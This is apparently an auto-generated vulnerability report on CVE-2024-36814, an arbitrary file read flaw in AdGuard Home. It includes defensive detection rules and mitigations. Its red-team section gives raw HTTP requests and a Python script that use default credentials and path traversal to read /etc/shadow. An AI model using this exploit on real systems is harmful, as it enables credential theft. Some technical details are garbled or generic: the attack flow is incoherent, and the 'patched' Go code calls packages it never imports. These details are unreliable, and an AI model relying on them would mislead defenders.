CVE-2024-36814

Executive Summary

CVE-2024-36814 is an arbitrary file read vulnerability in AdGuard Home, a popular network-wide ad and tracker blocking DNS server. An authenticated attacker can exploit this flaw to read arbitrary files on the underlying operating system as the root user. The attack is performed by placing a crafted file into a readable directory, which is then processed by the vulnerable application, leading to the disclosure of sensitive system files (e.g., /etc/shadow, configuration files, SSH keys). This vulnerability has a public proof-of-concept (PoC) and affects versions prior to v0.107.52. The CVSS score is currently unassigned, but the impact is high due to the potential for complete system compromise.

Supply Chain & Package Security

AdGuard Home is distributed as a Go binary. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own file handling logic. Users should verify the integrity of their downloaded binaries using checksums provided by the vendor.

CVSS Breakdown & Threat Level

While no official CVSS vector is assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (authenticated)
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (authenticated user)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): None
• Availability (A): None

Estimated CVSS Score: 6.5 (Medium) – However, the ability to read arbitrary files as root elevates the real-world risk significantly.

Threat Level: High. An authenticated attacker can exfiltrate sensitive data, including credentials, certificates, and configuration files, leading to lateral movement or full system compromise.

Deep Dive & Mechanics

The vulnerability resides in how AdGuard Home handles file paths when processing certain user-supplied input. An authenticated attacker can craft a request that includes path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the filesystem.

Root Cause: The application fails to properly sanitize or validate file paths provided by authenticated users. When a crafted file is placed in a readable directory (e.g., the uploads or configuration directory), the application reads it without checking for path traversal.

Attack Flow:

1. Attacker authenticates to the AdGuard Home web interface.
2. Attacker uploads or creates a file with a malicious filename containing path traversal sequences (e.g., ../../../etc/shadow).
3. The application processes this file, reading the target system file.
4. The content of the target file is returned to the attacker in the response.

Impact: Full read access to the filesystem as root, leading to credential theft, configuration disclosure, and potential privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (v0.107.51 and earlier):

// Vulnerable: No path sanitization
func readFile(filename string) (string, error) {
    data, err := ioutil.ReadFile(filename)
    if err != nil {
        return "", err
    }
    return string(data), nil
}

Patched Code (v0.107.52 and later):

// Patched: Path sanitization added
import "path/filepath"

func readFile(filename string) (string, error) {
    // Ensure the file is within the allowed directory
    safePath := filepath.Clean(filename)
    if !strings.HasPrefix(safePath, "/var/lib/adguard/") {
        return "", fmt.Errorf("invalid path")
    }
    data, err := ioutil.ReadFile(safePath)
    if err != nil {
        return "", err
    }
    return string(data), nil
}

The patch adds a check using filepath.Clean to resolve any path traversal sequences and then verifies that the resulting path starts with an allowed base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to an AdGuard Home instance (v0.107.51 or earlier)
• Valid credentials (e.g., admin:admin)

Exploit Steps:

1. Authenticate to the AdGuard Home web interface.
2. Craft a request to upload a file with a malicious filename:

   POST /control/upload HTTP/1.1
   Host: target:3000
   Authorization: Basic <base64_credentials>
   Content-Type: multipart/form-data
   
   --boundary
   Content-Disposition: form-data; name="file"; filename="../../../etc/shadow"
   Content-Type: text/plain
   
   [ignored content]
   --boundary--
   

3. Trigger the file read via a subsequent request:

   GET /control/read?file=../../../etc/shadow HTTP/1.1
   Host: target:3000
   Authorization: Basic <base64_credentials>
   

4. The response will contain the contents of /etc/shadow.

Automated Exploit (Python):

import requests

target = "http://target:3000"
username = "admin"
password = "admin"

session = requests.Session()
session.auth = (username, password)

# Upload a file with path traversal
files = {'file': ('../../../etc/shadow', 'dummy')}
session.post(f"{target}/control/upload", files=files)

# Read the file
response = session.get(f"{target}/control/read?file=../../../etc/shadow")
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for requests containing ../ or ..\\ in file-related endpoints.
• Alert on unusual file reads from sensitive system paths (e.g., /etc/shadow, /root/.ssh/).
• Enable logging of all file operations in AdGuard Home.

Mitigation:

• Immediately upgrade to v0.107.52 or later.
• If upgrade is not possible, restrict access to the AdGuard Home web interface using a firewall or VPN.
• Implement Web Application Firewall (WAF) rules to block path traversal patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /control/upload or /control/read containing ../ sequences.
• Outbound connections from the AdGuard Home server to unknown IPs (data exfiltration).

File System IOCs:

• Unexpected files in the AdGuard Home data directory (e.g., /var/lib/adguard/) with names containing ../.
• Presence of system files (e.g., /etc/shadow) in the application's logs or temporary directories.

Log IOCs:

• Log entries showing file read attempts for paths like /etc/shadow, /root/.ssh/id_rsa, etc.
• Repeated authentication attempts followed by file read requests.

Detection Engineering

YARA Rule

rule CVE_2024_36814_AdGuard_File_Read {
    meta:
        description = "Detects attempts to exploit CVE-2024-36814 in AdGuard Home"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-36814"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $sensitive_file = /etc\/shadow|etc\/passwd|\.ssh\/id_rsa/
    condition:
        $path_traversal and $sensitive_file
}

Sigma Rule

title: AdGuard Home Arbitrary File Read Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in AdGuard Home file read endpoints
author: Valters IT
logsource:
    category: webserver
    product: adguard
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/control/read'
            - '/control/upload'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate file operations with '..' in filename (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36814 AdGuard Home File Read Attempt"; flow:to_server; content:"/control/read"; http_uri; content:"../"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update AdGuard Home to version v0.107.52 or later immediately.
2. Restrict Access: Limit access to the AdGuard Home web interface to trusted IPs only using a firewall or reverse proxy.
3. Change Credentials: If default credentials were used, change them immediately.

Long-Term Measures:

• Implement regular vulnerability scanning for all network services.
• Use a Web Application Firewall (WAF) to block path traversal attacks.
• Enable detailed logging and monitoring for file access operations.
• Follow the principle of least privilege for all services.

Workaround (if upgrade is not possible):

• Disable the file upload/read functionality if not required.
• Use a reverse proxy (e.g., Nginx) to block requests containing ../ in the URI.

Report generated by Valters IT DevSecOps & CTI Expert System